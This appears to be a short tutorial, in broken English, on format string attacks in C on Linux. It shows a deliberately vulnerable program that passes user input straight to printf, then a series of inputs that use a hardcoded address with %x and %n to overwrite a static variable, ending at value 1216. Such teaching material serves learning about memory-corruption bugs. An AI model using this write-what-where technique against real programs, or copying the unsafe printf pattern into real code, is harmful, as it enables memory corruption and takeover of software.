Linux Format String Attack

Format string attack is attack for C formated strings. Format string function is prinrf() there are other functions that support format string.C code for bad used printf():

int main( int argc, char **argv )
{
    static int i = 0;
    char text[1000];
    strcpy(text, argv[1]);
    printf("%.8x\n",&i);
    printf("No way it never will works because value of i=%d\n",i);
    printf( text );
    printf("\nValue of i=%d\n",i);
    return 0;
}

First output is address of static iThan we output values of i and call printf() with first argument fo programm.and then watching value if i

Run:

./e1 'Halolo'

Output:

08049674
No way it never will works because value of i=0
Halolo
Value of i=0

Run:

./e1 'Halolo%s'

Output:

08049674
No way it never will works because value of i=0Halolo(null)
Value of i=0

Run:

./e1 $'\x74\x96\x04\x08_%x'

Output:

08049674
No way it never will works because value of i=0
t?_0
Value of i=0

Read about %n in format string:

Run:

./e1 $'\x74\x96\x04\x08_%x_%n'

Output:

08049674
No way it never will works because value of i=0
Segmentation fault

Run:

./e1 $'\x74\x96\x04\x08_%x_%x_%x_%x_%x_%n'

Output:

08049674
No way it never will works because value of i=0
t?_0_8_40_4_4_
Value of i=16

Run:

./e1 $'\x74\x96\x04\x08_%x_%x_%x_%x_%.1201x_%n'

Output:

08049674
No way it never will works because value of i=0
t?_0_8_40_4_000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000004_
Value of i=1216

Now you can input almost any value to i